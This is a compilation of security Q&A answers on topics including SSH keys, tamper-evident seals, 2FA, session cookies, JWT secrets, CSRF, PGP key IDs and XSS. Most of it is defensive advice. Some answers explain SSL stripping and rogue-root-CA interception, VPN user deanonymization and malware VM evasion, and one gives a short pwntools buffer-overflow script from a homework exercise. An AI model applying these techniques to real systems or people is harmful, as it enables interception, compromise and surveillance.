When a client connects to a given server for the first time, that client has no saved public key for that server yet, so the human user is supposed to check the server key fingerprint against an authoritative source (e.g. a phone call to the sysadmin). If all servers share the same private key, then the single fingerprint can be printed out in big letters and glued to the office walls; this is much less practical when there are many servers and each of them has its own key.

Sharing the private key is thus a definite "no way" thing when the machines are not meant to be equivalent to each other with regards to security. However, when they are equivalent, sharing the private key can make some operations simpler. Sharing the private key MUST be done when some forms of load balancing are employed (although load balancing and SSH rarely fit together). Sharing the private key can be considered "acceptable practice" when all the systems are elements of a big computing cluster.


How does one evaluate tamper-resistant envelopes/packaging?

Let's get something straight first. In the general sense, there's pretty much no such thing as tamper-resistant in the envelop/packaging world. What you're looking for is tamper-evident.

The criteria upon which you evaluate tamper-evident envelope is same used for evaluating any other security measurement. Forget everything about solution itself and rather think of why you're looking for a solution. It's easy to say that your problem is tampering, but it's not.

So the criteria hugely depends on your threat model.
 Other than that, there's basically one criterion; If the envelope is tampered with, we'd like to detect that with a high level of confidence.

In 1997, The Nuclear Regulatory Commission issued the RG 5.15 in which they outlined criteria upon which to judge the effectiveness of tamper-evident mediums used to store nuclear documents. I'll quote some of them

  The information taken and recorded at the time of seal application is inadequately protected, enabling a diverter to forge documentation
  to support or cover the diversion.
  The method of postmortem examination of the seal is not sufficient to detect a defective or compromised seal.
  The location and method of seal application makes the seals vulnerable
  to accidental damage, providing a history of such incidents that might
  be used to conceal a willful attack.

After that they list some certain acceptable types of tamper-deviant devices to store the highly sensitive data.

In the same year, researcher R.G. Johnston published a paper outlining some deficiencies in the RG 5.15 and the then-standard ASTM F1158-88 protocol. Johnston did a great job providing crystal clear instructions for the process, combining the pros of the previous standards and patching most of their cons.

  A detailed description of the successful attacks. For each attack the
  following information should be provided:

  Is the attack theoretical, partially demonstrated, fully demonstrated but not perfected, or practiced to perfection?
  What are the cost, time, and effort to devise and demonstrate the attack?
  What time is required on-site to do the attack?

  ..

  What is the level of defeat?
  Is inside information necessary for the attack, or just what is publicly available?

Despite Johnston's findings and recommendations, the ASTM F1158 still the de facto standard protocol for assessing security seals.


When used with a second-factor, is the whole system (password+2nd factor) strong enough as a whole that the disadvantages of passwords become irrelevant?

For most purposes, having a second factor is probably sufficient to outweigh the problems with passwords, assuming the rather important condition that you implement the second factor correctly.  In particular:

You need a properly defined recovery mechanism that's still secure.  The OTP recovery codes that are provided by many sites which support 2FA are a good example of this being done right.
You need proper support for allowing multiple independent second factors.  For example, allowing association of multiple U2F keys with a given account, or multiple fingerprints, or multiple TOTP apps.  The reason this is important is that unlike a password, the second factor is usually not trivial to replace, so having an emergency backup is important.

  Assuming the answer to the first question is "no, password disadvantages make the system too weak", what alternatives are there for us to use in the future?

I don't think there really are any that are anywhere near ready, largely because they have their own issues which are arguably much more complicated to deal with than passwords.  Biometrics are still pretty easy to fool and aren't even entirely reliable to begin with.  Hardware security devices are generally a joke as they are currently implemented, and are far easier to lose than passwords.  Other technologies have their own further issues.

Beyond that, I'd like to actually challenge the premise of the question.  You seem to imply that the issues are inherent to passwords, but I would argue that they all stem from how they are typically used.

Firstly, the concept of a 'strong random password' as most people think of it isn't actually all that good.  It's pretty well established that what people classically called strong passwords (and what many websites still require you to use) are hard for people to remember but easy for computers to guess, and therefore not really all that useful.  If, instead, you use something similar to the XKCD approach (XKCD #936), it's pretty trivial to remember, and if done right can be insanely secure (especially if you mix languages).

Now, even ignoring that though, most people actually can remember classically complex passwords without much difficulty if they use them regularly.  The issue here is that many people use persistent login sessions (which are bad for other reasons as well), and have things set up to remember their passwords for them.  If you're typing it in every day, you'll have it memorized, at least as muscle memory, after at most a few weeks.

Also, the point about weak storage is irrelevant, because it's not specific to passwords.  It's just as possible for 2FA systems to have the same issues for the second factor as it is the password.

Altogether, that leaves reuse, but that's still an issue for many alternatives (it's not like you can realistically use a different retina for each retina scan, or a different finger for each fingerprint scan).


Custom rest api / client security scheme

Site-wide HTTPS

This is good.

At registration to the service, the user's password is passed 'clear' to the server where it is stored in a salted sha-3 hash.

This is bad. Hash passwords with a slow password hashing algorithm like pbkdf2, bcrypt or scrypt instead.

Upon login, the javascript client does not pass the user id and password to the server. Instead, it generates a random string and stores that in the window.name space. It then uses this string as a passphrase to perform 256bit AES encryption on the name and password, storing this cipher text in a cookie. This cookie has a life of 1 hour.
Henceforth, all API calls require that the client access the window.name string, decrypt the cookie, and pass the username/password 'clear' to the server. A unix-epoch timestamp is also passed.
The server, upon receiving any request, retrieves the user's salt, performs a sha-3 hash on the password, and compares it to the stored value in the db. It also ensures that the timestamp is within 60 seconds of the server time.

This looks overly complex to me. You can simply pass the username and password over HTTPS to the server during login. If the authentication succeeds, generate a random token on the server side and return it to the client. Any future request must include that token to be considered authenticated. You can invalidate the token after a certain period of time on the server side if needed.


You can't.

Any time you give D access to a document you're trusting D not to copy/share that document. Giving D access to S1 requires that same trust.


Is it secure to use SQL for storing authentication codes?

Storing the session id in the database is ok as long as access to the database is restricted and you regenerate the id each time the authentication is successful, but you didn't say much about the cookie. A 6 hour TTL is excessive. Typically a session id should expire after around 20 minutes of inactivity, although this can vary greatly depending on what the service being authenticated actually does. It should be a session cookie and therefore expire when the browser is closed. Also, it should probably have the httponly flag set to protect against javascript attacks and you should provide an explicit logout capability which removes the session id from the database. But the absence of HTTPS is a major security hole.

Also, I hope you are generating and storing sufficientlty random salts for the hash and using a decent hash algorithm.

You might also spend some time thinking about how you prevent brute force attempts on your site.


Baking a better cookie - How can we prevent a high-jacking of the user's local cookie file to exploit accepted cookie use?

As I understand your question, you are storing the user ID in a cookie. The server then blindly trust this value when the client sends back a user ID.

That design is vulnerable, and trivial to hack. An attacker doesn't even need to copy a cookie, just set one to an arbitrary number and bam, you are logged in as that user. Your suggested fixes does not solve the problem. Using an  array might obfuscate it a little, but nothing more. Checking the IP doesn't help if the attacker is on the same network, e.g. a different computer on the same workplace. It also brakes the site for many mobile users, who may have different IP:s as they switch between cell phone towers.

The root problem here is that you trust the client. To fix this problem, your server must stop trusting any information the client provides it with. There are two main ways to accomplish this:

Use sessions. The cookie only contains a random unguessable ID, then information like what user is associated with that ID is stored on your server.
Use signed cookies. There are existing implementations for this, the most popular being JWT. You should not try to come up with your own implementation!

Note that none of these protect you against an attacker with access to the victims computer simply stealing the cookie. But that is not an attack you really can protect from (unless you want to have constant password re-entry).


software to keep a list of IP that try to access ssh over a set of rules and feasibility

Fail2ban has different defaults, but I think you could probably configure it meet your desires. I personally think the 10 bad logins per IP default is more than sufficient to keep resources down and avoid locking yourself out by typo or brainfart.


Privacy implications of static IP addresses (for home connections)

As an example, in GDPR, an IP address is considered PII. It can identify a person during a sequence of interactions.
A static IP simply extends the impact of that. Anyone who can correlate activity with IP could correlate a larger set of interactions to a particular household.
Should you prefer dynamic IPs? You need to run your risk analysis on that issue.
Anything that would break up an IP would solve the static IP problem, by definition. But only within the scope of the problems of having a static IP.


Verify software is not harmful before upload to my server?

In the general case, this is impossible.

There is a result from theoretical computer science called the "Halting Problem". It states that you can never write a program that, for any other program, can prove whether it will terminate.

Now, if you can't even prove that a random program will terminate, you certainly can't prove that it is harmless.

The only way to do this is to make sure the programs uploaded are very limited in what they can do. Probably limited beyond the point where they are useful.

You can add virus checks to your service (as is also suggested in thel3l's answer and schroeder's comment). I've seen more hosting services do this, and it will at least protect your downloading users a bit.

However, you will always be in the arms race between malware makers and virus scanners. You cannot guarantee to your users that the software hosted is safe. You can, however, keep out some bad apples - and hopefully, most bad apples.


As far as I know:

Windows 10 is using a technology called Unified Update Platform (UUP).
This Service works with differential download packages.
A differential download package contains only the changes that have been made since the last time you updated your device, rather than a full build.

How does it work:

The UUP Service sends a list with all installed Updates to UUP Cloud Service (the Azure Cloud),
the Cloud Service merges the list with the latest update list and tells the UUP Service if there are any new differential packages.
The UUP Service starts Downloading these differential packages.

You can find the downloaded differential packages in the C:\Windows\SoftwareDistribution\Download folder.

Source: https://blogs.windows.com/windowsexperience/2016/11/03/introducing-unified-update-platform-uup/#cD5BkKJkUTT2vory.97


Brief staging area for unencrypted files

I'd recommend simply encrypting the file while it's being uploaded, and before it's written to disk.  i.e. encrypt the file while it's being streamed.  Assuming you're getting the file in order you can just use standard AES-CBC to encrypt all the blocks of the file and save it to disk.

The window of time while the file isn't encrypted isn't terribly worrisome, but it's inefficient to write the file 2 times to disk, then have to wipe the file.  That way you only write once to the disk for every byte instead of 3 times.


How is this OpenPGP key displaying in a non hexedecimal format?

tl;dr: these are made up key IDs of somebody trying to hide the actual information. They're not valid OpenPGP key IDs.

OpenPGP Key IDs

Following RFC 4880, OpenPGP, 3.3 Key IDs, a

  Key ID is an eight-octet scalar that identifies a key.

12.2 Key IDs and Fingerprints further specifies the calculation, but again no representation of those lower 64 bits to be used. Often, 32 bit values ("short key IDs") are used in practice. An example describes pretty well how the key IDs are related:

fingerprint: 0D69 E11F 12BD BA07 7B37  26AB 4E1F 799A A4FF 2279 (160 bits)
long id:                                    4E1F 799A A4FF 2279  (64 bits)
short id:                                             A4FF 2279  (32 bits)

XAF476E9 and GEBV933F form weird key IDs. They can't be hexadecimal, which wouldn't allow X and G. They're probably using a digit range matching pretty much including all decimal digits plus letters up to X, which means eight digit numbers would allow to store about ld(36^8) ~= 41 bits -- not enough for a more compact representation of (long) key IDs.

Digging Deeper

Well, you don't really need to dig deep. Let's assume the documentation was written by somebody using real keys, who at the same time tries to hide his identity and either has a bad understanding of key IDs, or wants to reveal manipulation of the key IDs to the skilled eye.

The quoted manual also provides examples of encoded signatures. Let's have a look at those! A string This is some text. gets signed, probably using the author's key. And we also get the quoted result, which the author stored as test.txt.asc:

  The signed version will look something like this:

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

This is some text.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.1 (GNU/Linux)
Comment: 'Email me for my public key'

iD8DBQE+ycRnF1uP4b67kz8RArZdAJ9e98RkcYICyJktEpah5/RoQX93vgCfUuOh
1I3aTPTGXitruRjhms3Kx7Y=
=ju77
-----END PGP SIGNATURE-----

The output showing the weird key IDs actually verifies a signature of exactly this file:

[you@tiger]$ gpg --verify test.txt.asc
gpg: Signature made Tue 20 May 2003 04:00:07 PM EST using DSA key ID GEBV933F
gpg: Good signature from "fbloggs@openskills.com"

Now, what happens if we run this on our own?

gpg: Signature made Tue May 20 08:00:07 2003 CEST
gpg:                using DSA key BEBB933F
gpg: Good signature from "[uid removed]"
gpg:                 aka "[uid removed]"
gpg: WARNING: This key is not certified with a trusted signature!
gpg:          There is no indication that the signature belongs to the owner.
Primary key fingerprint: 3318 D8EC 1EAD 3771 3B54  2893 175B 8FE1 BEBB 933F

I removed the user ID as the user might have tried to stay anonymous. I didn't care about his key ID/fingerprint, as he indeed posted it anyway and everybody can query the information if he wants.

Surprised about a close-match of the key IDs?

   real key ID: BEBB933F
claimed key ID: GEBV933F

Obviously, the two non-hexadecimal digits have been scrambled. Now, what about XAF476E9?

$ gpg --list-keys BEBB933F
pub   1024D/BEBB933F 2003-04-09
uid                            [uid removed]
uid                            [uid removed]
sub   1024g/CAC476E9 2003-04-09

A new subkey! Again comparing the keys:

   real key ID: CAC476E9
claimed key ID: XAF476E9

Again, two digits differ.


Vulnerability scanning of AngularJS web app fails due to '#' in url

Browsers don't submit anything after the hash character to the server. Anything after that character can only be access on the client side with JavaScript. Some vulnerability scanners (like burp suite) perform a static code analysis to see if the application is vulnerable to DOM-based cross-site scripting, for example. They generally don't execute JavaScript, so the typical scanning methods don't apply here.

Also see: https://en.wikipedia.org/wiki/Fragment_identifier

  The fragment identifier functions differently than the rest of the URI: namely, its processing is exclusively client-side with no participation from the web server — of course the server typically helps to determine the MIME type, and the MIME type determines the processing of fragments. When an agent (such as a Web browser) requests a web resource from a Web server, the agent sends the URI to the server, but does not send the fragment. Instead, the agent waits for the server to send the resource, and then the agent processes the resource according to the document type and fragment value.[2]

So your options are to manually fuzz the parameters after the hash character in the browser or read the JavaScript source code.


Is it worth following OWASP AppSensor for an open source web application?

All security efforts are an investment. Each produce a different return on your investment. I often tell people to put effort into the security practices that give the most return in terms of bugs found, attacks prevented, etc. The best use of time on an open source project would be reviews for common vulnerabilities (e.g OWASP Top 10), configuration issues, etc. Then submit fixes for what you find.


There are two ways of signing/encrypting email with PGP:
Inline-PGP and PGP/MIME.

Inline PGP takes a plain text message, and signs it or encrypts it, and the signed or encrypted message is sent as a single plain text message.

PGP/MIME uses a MIME-type of either multipart/signed (or for encrypted mails multipart/encrypted.)  The original unsigned message is left alone, and an additional MIME part is added which contains the signature. This would MIME part would be seen by any non-PGP-aware MUA as being just some random attachment.

The difference between PGP and S/MIME is more in the formatting of the certificates, and the trust model used. PGP uses a web-of-trust, and S/MIME uses a PKI based on Certification Authorities.  A PGP public key file is formatted very differently from an X.509 certificate.

In terms of mixing PGP and S/MIME, its possible to do, if you use inline-PGP, and then S/MIME sign the message.  (Why one would want to is another question.)


Contrary to popular believe, Bitcoin is the exact opposite of being untraceable. Any transactions between wallets are stored safely, unchangeable and completely public in the blockchain and can be traced at a later date. By anyone - not just law enforcement.

What's left for law enforcement to do is to find out which wallet belongs to which person. The easiest way to do that is by following the money. When a user wants to do something with their bitcoins, they either need to exchange it into "official" currency or need to order some products from someone which are then delivered to a physical address. Similarly, anyone who want to buy something with bitcoins, needs to obtain these first, usually by buying them from some company with real money.

Any company with an official existence which takes or sells bitcoins can be used by law enforcement to obtain the identity of their customers.

Also, when a computing device with a wallet key is seized during a search, it is proof that the owner of the device is the owner of that wallet. Law enforcement can then look at the blockchain to find out if the owner had any transactions with wallets which are known to be involved in criminal activity.

If you want to make a financial transaction which is really untraceable, use good, old cash.


Encrypt files on flash drive for easy decryption

Working at an accounting firm presently, we have that problem of needing to securely transmit files with no expectation of "smarts" by any of the parties involved.

We handle this by establishing (contracting out to a 3rd party) an SSL website that files are uploaded to. The client is sent an email with an authentication code (or we can suspend sending by email and provide the code over the phone, in person, etc). They get one shot to download the file. As soon as that code is used, the system deletes the file.


Should I send the Secret with the Refresh Token in OAuth 2.0

Actually, if you read on, it also says

  The authorization server MUST:

  o  require client authentication for confidential clients or for any
       client that was issued client credentials (or with other
       authentication requirements),

  o  authenticate the client if client authentication is included and
      ensure that the refresh token was issued to the authenticated
      client, and

  o  validate the refresh token.

Which means quite that: Pass your client ID and secret with the refresh token request.

The specification is not very explicit in this regards, but says that you have prove who you are (or which application you are) in order to be able to do a refresh. Note that it's stated "confidential clients", which means that this is primarily intended to happen server side.

So, in addition to just passing the refresh token, you also have to pass your client authentication into token endpoint, which means that an attacker needs to get hold on multiple values to be able to use a refresh token he has gotten his hands on. This implies that you should possibly also store these things in separate places, and just assemble the needed data when you need to refresh your token.


Supporting deep links in a web application without permitting session theft

What you call "session theft" sounds like cross site request forgery (CSRF). CSRF occurs when a victim is signed into a website, and then visits an external site or page with attacker-created content. The attacker's content could include form submission to the vulnerable application, possibly causing the user to send money or perform another dangerous action without their knowledge. It works because the browser will send the cookies along with the request, even if made from a different origin.

I suggest that you reference the OWASP CSRF Cheat Sheet; here's their summary of actions to take:

  Check if your framework has built-in CSRF protection and use it

  If framework does not have built-in CSRF protection add CSRF    tokens to all state changing requests (requests that cause actions on
  the site) and validate them on backend

  Always use SameSite Cookie Attribute for session cookies
  Implement at least one mitigation from Defense in Depth    Mitigations section

  Use custom request headers
  Verify the origin with standard headers
  Use double submit cookies

  Consider implementing user interaction based protection for highly    sensitive operations
  Remember that any Cross-Site Scripting (XSS) can be used to defeat    all CSRF mitigation techniques!

  See the OWASP XSS Prevention Cheat Sheet for detailed guidance on how    to prevent XSS flaws.

  Do not use GET requests for state changing operations.

  If for any reason you do it, you have to also protect those resources    against CSRF

Emphasis on the first point; this is a solved problem and there is no need to reinvent the wheel here.


In HTTPS, the actual URL is sent only after the SSL handshake has been performed. What outsiders can observe is:

The server name (which is given plainly in the server certificate).
The length of the request from your browser, from which the length of the URL can usually be inferred to some extent.

One potential trouble with "secret URL" is that they can be bookmarked or copied by the user (e.g. sent by email), and are also displayed on the user screen (in the URL bar), thus potentially vulnerable to shoulder surfers. For passwords and also for secure cookies (cookies sent by servers with the "secure" flag), the involved applications (namely browsers) are supposed to be a bit more cautious than with URL. Human users are also a bit less careful with URL than with passwords. On the whole, secret URL are a valid security mechanism, but you have to remain aware of the details.


Using per-user secrets - stored in either the database or the file system, or indeed anywhere else - completely misses the point of JWTs. Well, one of the points, and using symmetric secrets (rather than public keys) means you don't get the other, either.
If you have to look up a value before you can even verify a JWT, you've destroyed the scalability and statelessness of the format. Sure, in practice you'll store lots of info in the DB, much of it per-user, that you'll be requesting all the time anyway... but if you're going to make your session management system depending on those kinds of lookups then you should really consider just using random blobs for your session tokens. Same lookup hit, less compute time after retrieving the secret to verify it, and you can actually revoke them without complicated shenanigans.

To answer your actual question, the ideal setup is an HSM of some sort (such that actually extracting the keys is just not possible), but lacking that the usual approaches are:
A. Stored in a KMS (Key Management Service) that the server can talk to; server retrieves the secret(s) at startup / periodically and stores it/them in RAM. Of course, proving identity to the KMS often adds another layer of "where do you store secrets?"; the main advantages of this scheme are a central location to manage keys for a whole cluster, and the ability to keep the keys off of any persistent storage outside one particular system.
B. Stored in an environment variable or command-line arg passed to the server. Obviously the process that invokes the server needs to know the secret too, but this can be combined with the previous approach to have no persistent storage on the server host but also allow creating arbitrarily many short-lived instances of the server without each one pinging the KMS. Alternatively, supports starting the server process via remote command, with the secret not resident anywhere on the server host (even in memory) until the server starts.
C. Stored in a file outside the webroot, but somewhere the server has access to (your #1). Ideally, the location should not be somewhere the server has persistent access to, though, either because it drops privileges after reading in the secret, or because the secret is read through a named pipe or something and not available on demand.
For simple systems like you're probably envisioning, where quick development and low cost matters more than security in the extreme edge cases, you probably want to go with approach #1 / C, if you use JWTs at all.

Speaking of extreme edge case concerns, brute-forcing any reasonable length (typically cited as 128 bits i.e. 16 bytes) of cryptographically random data (which PHP's random_bytes provides) is not remotely a concern. With a 256-bit (32-byte) value, assuming Moore's Law continues on track (which it hasn't quite, lately), the entire world's compute capability, working together, might be able to brute-force a single secret... if you give them three to four centuries to do it. You probably won't care by then.


Your setup is not vulnerable to clickjacking.

Clickjacking loads a page in an iframe and tricks the user to interact with it. The X-Frame-Options header and frame-ancestors directive prevent loading the page in an iframe.

Your HTTP website doesn't have these headers and could be loaded in an iframe, but it doesn't have anything to interact with. It only redirects to HTTPS, so an attacker could load an empty page in an iframe. Since there is nothing to click here, there is no clickjacking risk.


Using a shared library is a good idea for getting security fixes without having to recompile all the applications that use the library -- but this holds only if there is indeed a shared library that several applications use, and that is actively maintained by somebody else.

In an ideal world, you would not even download the source code for the Curve25519 implementation. You would use the OS-provided package that contains the shared library. If a bug were to be found, it would be corrected upstream and the packager would publish a new, fixed version, that your application (and others using the library) would automatically benefit from the fix. It would have similar benefits for performance (e.g. if a new, faster implementation more optimized for your current hardware is produced).

However, such a package does not exist for the moment. DJB does not appear to be willing to maintain such a package, for any version of any OS (in fact he has been quite vehemently opposed to how most if not all package managers work; he also expressed misgivings about shared libraries). If you use the code, then you are importing it in your application, and the maintenance effort, i.e. keeping track of changes and propagating fixed versions, will fall squarely on your shoulders. Even if you make it a shared library, it will still be your shared library, not shared with any other application. You might as well link the code in; it won't change things for security, and it will be simpler.


What does browser do when it queries xxx.example.com and it gets a certificate for yyy.example.com(top level domain is same)?

The hostname in the subject (common name or subject alternative names) must fully match the name given in the URL. This means that none of the cases you provide will match.

The common browsers and most current command line clients and programming languages properly check for the name by default. But older clients often do not check the name properly (like only against CN, allow multiple wildcards...), don't check the name at all or don't do any certificate validation by default. Also, often developers disable validation partly or fully just because it is in the way of testing.


How do I perform a legal SSL MitM attack for my company?

You can't authenticate as the server
The problem is not that the server will "throw a fuss" it won't.  You can easily spoof the server into thinking you are the user.  The user isn't authenticating with an SSL cert. The problem is you can't trick the user or more specifically the user's browser.  Remember for a MITM attack the attacker needs to establish connections with both entities (hence in the middle).
Client <---------> MITM Attacker <----------> Server
With http it is trivial.  You sit in the middle and pretend to be the server to the client and pretend to be the client to the server.  The problem with https isn't the link between you and server (as far as the server is concerned you are the client).  The problem is in the link between you and the user.
When user browses to https://example.com the browser will expect:

That an SSL cert is returned
That the SSL cert has example.com in the hostname
That the SSL cert is signed (or indirectly signed) by a root cert in its trusted root keystore.

If you block the client from getting the ssl cert from example.com the browser will give the user an error (http timeout)
If you send the user a valid (signed by a CA) cert for another hostname the browser will give the user an error (incorrect hostname)
If you send the user a cert for example.com which you create and it is not signed the browser will give the user an error (cert not trusted).
If you send the user a cert for example.com which you sign by another CA cert you control the browser will give the user an error (cert not trusted) because it doesn't trust your CA cert.
SSL Strip (redirecting the user to http)
How SSL Strip works is by redirecting the user from https to http.  User browses to http://example.com and you intercept that send the user a redirect to http://example.com and still establish a secure connection between you and the server.
Client <--- HTTP ---> MITM Attacker <---- HTTPS ---> Server
Understand you are potentially compromising the user to other real attackers.  If the user is connecting by say company wifi anyone on the wifi could steal sensitive information because you have stripped off the ssl.
The user however may notice they are on http not https (why is my bank website not showing green bar).  Sadly this is not that common most users will just blindly assume they are secure so HSTS was developed to protect users from this type of attack.  If browser supports HSTS, the site is using HSTS, and the user has been to the site before (or HSTS was preloaded by the browser) the user will get an error/warning when you redirect to http.
"Infect" user's computer with a "trusted" root cert that you control
The only way around HSTS (especially with preload) is to create a CA cert which you have the private key for and the install that in the browser/os of the victim.  Then when you MITM the user you can create a cert for example.com, sign it by your MITM CA cert.  The browser will validate the example.com cert you created and check the signature which will be valid and come from a cert it trusts (in the trusted root keystore).  This will require administrative access on the user's machine.
Even this will not work if the key pinning has been used in the browser to make a note of the "real" example.com cert.


Effective File Integrity Monitoring (FIM)

If you are checking for changed files, then yes, every file changed will alert. This is exactly how this should work.

Usual mitigation techniques include:

limiting the number of files you check. Usually based on criticality or materiality
forcing your FIM tool to calculate new checksums as part of your change process

Both present risks of missing unwanted changes.


Likely a bot looking for open proxies. The url in the log is the page it's trying to load via any open proxy it can find.


How is certificate forgery with cheap CA's prevented?

For a successful attack, the attacker must either obtain a SSL certificate from one of the CA that the victim trusts, or he must induce the victim into ignoring the scary-looking warning that his browser will display.

Existing browsers and operating systems are shipped with a hundred or so of "trusted CA" and it is true that if one is deceived or bribed into issuing a fake certificate, then the fake certificate can be used to build a fake HTTPS server. The attacker would still have to make connections go to his server, either with links from spam emails or man-in-the-middle attacks.

It has happened. News article have used such events as basis to prophecize the End of the Internet, the digital Ragnarok which will plunge us all into chaos; that's how news media work (bad news is good news, and the Apocalypse is hard to top). However, what is interesting to note is that:

It did not happen often. A couple of (highly publicized) times.
The hole was promptly filled again (in particular, Microsoft pushed an explicit patch to "disable" the offending certificates, like a CRL which you cannot evade).

The point here is that obtaining a fake certificate is only one step in the whole thing, and even if it can be done, it is much harder to do it discreetly. When the attacker has obtained the fake certificate, he does not have much time before the fake issuance is discovered. On the other hand, a successful scam (be it with a man-in-the-middle or a lot of spam) needs preparation, care and some time. In a way, corrupting a trusted CA jeopardizes the whole operation, because it gives exposure to the attacker.

On the other hand, user's gullibility is a proven constant; there is no lack of it. It is much easier, and much less risky (for the attacker), to use it, and make the user ignore the browser warnings. Therefore, in practice, existing CA are very rarely corrupted.

To sum up: yes, with the current CA system, certification is only as robust as the weakest of the trusted CA, and that's not very secure -- but, in this world and day, this is secure enough. The Web SSL system works. The day the SSL system crumbles will be the day easier attack paths have all been closed, and users have become cautious and sensible, and attackers will have no choice but to obtain fake certificates. This will be cause to rejoice, not weep.

(But remember that the current Web+SSL works because of economics: attackers find it not worth the effort to attack CA. Be wary if you try to apply the same model elsewhere, where money and commerce operate differently, e.g. to secure the system for launching nuclear missiles. A security analysis always depends on the exact threat model.)


Why cant i run malware in my Virtual Environment

I saw a report on this a while ago, many ransomewares will try too detect if they're in a VM or lab environment and will refuse too run, basically as a defense mechanism for exactly what you're doing.

Depending on the family of malware there are tests in the code that check for things like the visualization environment (Are we running on Xen? OOOH! Juicy Target!/Are we running on VMware/VBox? Uh-Oh, might be a Lab! ABORT!), File structure (Not much here? ABORT! Oldest file is from last week? Hmm... ABORT!) too things such as multiple subnets (Traffic is routing through 192.168.1.1 but my gateway is 10.0.2.1? ABORT!) even things like screen resolution can be tested against (800x600 Res? ABORT!)!

In short, as researcher get smarter about how they test malware, the authors of said malware adapt to defeat those efforts!


Is this event a security concern: Windows 10: Event 360, User Device Registration?

I also try to get rid of this warning. I observed it from two types of environment: on Workgroup computers (typically at home) and with on-premise Active Directory joined computers (corporate network) on Windows 10 1607+. It doesn't seem to be linked to Windows Hello but rather to the Azure Active Directory (AAD) join and probe process. The event is logged when Windows starts, which is when it checks its domain relationship, so the same behavior occur with AAD.

As stated in this KB article about other events, I do think the event 360 can be ignored as it doesn't apply to your environment.

It's not a security concern to me, as long as there are not other events logged related to AAD. On a few machines, I found events reporting they were trying to register with AAD but failing (which make sense for on-premise AD joined boxes). In this case, the failing request probably contains personal data so here it could be a security concern at some point.

Even though it doesn't solve the problem, if you don't want to see this event anymore, you can disable the Microsoft-Windows-User Device Registration/Admin log.

Alternatively, there seem to be a scheduled task coming into place for this process, as described in this thread.


What are the examples of XSS (or other attacks) using "forward slash" only?

Injecting a forward slash is not a common attack vector for XSS.

The required escaping depends on the context where you're printing the output. A forward slash is used to close a tag and there is no other HTML context where it's inherently dangerous. (In Javascript this would of course be a very different story. Also, slashes are relevant in other attacks, such as directory traversals.)

  What are the examples of attacker payload using just / that can trigger XSS?

Such scenarios are rather artificial. For example, between a <title> tag all other tags are ineffective until you close the tag again. This would not trigger:

<title></title>

So if you encounter a scenario like...

<title>[userinput]</title>

...you would need a slash to be able to close the title tag yourself to achieve XSS.

The reason why the OWASP cheat sheet recommends a few more measures is to cover multiple output contexts at once. Since XSS escaping should only be employed on the final output, it doesn't hurt to escape a few more characters. (From your description it sounds like you are processing the data after XSS escaping which is not the idea.)

Example 1:

Welcome [username]!

Here, it would technically be sufficient to just escape < in the username since an attacker cannot inject new tags.

Example 2:

Your new name: <input type="text" value="[username]">

Here, it would be sufficient to escape " to avoid XSS because an attacker can never get beyond the attribute value.

Example 3:

Your website: Click me

Here, escaping " in yourlink would avoid breaking out of the attribute but you have to take additional measures to disallow XSS via pseudo links like javascript:foo(). So the standard escaping would be insufficient here.


Is it possible to Identify a VPN user by finding relations in traffic?

This depends on whether you are worried about being convicted, or dealing with probable cause (in the U.S.).

Let's assume that you are at home.  You start up your VPN and connect to your offsite VPN provider.  If I am monitoring outgoing traffic (from your house), I know that you just connected to a certain IP address, and that the IP address is a VPN provider.  Everything inside the payload of the packet is encrypted.

You then decide while at home, to check your email.  I happen to be monitoring outgoing traffic from the VPN provider (which is not encrypted).  I record it all using snort, and run Wireshark against the output.  I see a connection to your email address and an email written.  This may be protected by SSL if it's webmail.  If it's regular email, it's likely plain text.  If it's not plain text, I can try to intercept it at the receiver.  The email is of no legal significance (i.e. you aren't using it to plan something unlawful).  However, I make note of the fact that you confuse the use of their, there, and they're.  I'll also notice a few idioms you like to use.

Over the course of monitoring outgoing traffic I see your account write several emails.  I note patterns of misspellings, and more figures of speech.  I collect these over a period of a month or two.

I then put the items that I notice into Wireshark.  I add several things that you are known to say.  Every time a misspelling occurs, or the use of an idiom (that you use) is found in the content of ANY packet that is outgoing from the VPN service you use, I view it.

Given another month or two I have a lot of data points.  Some are sites you went to, others are not.  The first thing I do is eliminate all of the data points that exited the VPN service provider while you were NOT on line (i.e. I didn't see you online from home, remember I started by monitoring that connection).

Then I look at the remaining traffic and see if I have any cluster points.  Lots of recurring themes.  Same subject matter over an over.  I compare that to your unencrypted traffic, and your email.

I haven't applied enough filters to isolate you from the noise (people that use the same idioms/spelling errors you do), but I would have a good case for probable cause.  If I have enough points of reference, it is just like a fingerprint.

Essentially I'm applying a Bayesian analysis to a corpus of work, to state something about the likelihood that I believe an exemplar to be a member of the set constructed by my suspect. The collection of works that I would compare to comes from any work that the suspect has publicly acknowledged they are responsible for.  That analysis is well-known (and there's a whole statistics StackExchange site, too).

I'll let you answer, what would I come up with at this point?


I'm assuming this is from a GOT hijacking homework assignment that uses Python Pwntools.

If you look on line 24, you'll see that the read instruction reads 28 bytes even though student.name is only 24 bytes. Record is a struct, and as such, student.name and student.message are right next to each other in memory. This means that if you overflow student.name in line 24, you can overwrite student.message.

Essentially, try inputting 24 bytes of garbage (like 24 A's), and then input your address (which I'm assuming is the address of puts you got off-line). Manually inputting may not work if read includes the new line character at the end, so instead input using a script. Perhaps something like:

from pwn import *

def main():
    p = process('./a.out')
    command = 'A'* 24 + '\xef\xbe\xad\xde'
    p.send(command)


Theoretically, yes. Practically (and hopefully), no. HTTP transactions being stateless, proof of payment is in the form of a token that denotes payment. The token (or tokens) would typically be encrypted, highly random and be a mix of something that identifies the customer and something random.

To successfully replicate this, you would have to know the exact parameters, guess the values of the parameters and any cookies, correctly set any other headers the server expects and make the request within the specified validity window for the token (if a timeout has been established).

So, to answer your question on "is it or has it ever been possible to do this" - it is possible. But a properly implemented solution would make it impractical to carry out such an attack. It doesn't matter if the client side tool is a browser or Postman.


Strategies to protect SANs in branch offices in risky places

1 - Prevent data from the SAN falling into the hands of others

Full Disk Encryption (FDE) with large, secure passwords, unique for each server. If the SAN is stolen, all data is encrypted. Unique passwords limits the damage if some passwords leaks.

I would recommend FDE for everything (even OS files, public website data, everything), because it uses only one key for the entire computer, does not forces the user to classify the data as confidential or public. It's less problematic to protect something that could be public than publishing something secret.

  2 - Prevent the destruction of data

Backups. That's the only way.

If you have any infrastructure (even more if on a place where physical security is not always granted), you must have offsite backups. And tested backups.

Data destruction can always occur, and mitigate the results is the only thing you can do. You cannot prevent the data destruction (intentional or accidental), but you can (and must) prevent irrecoverable data loss.


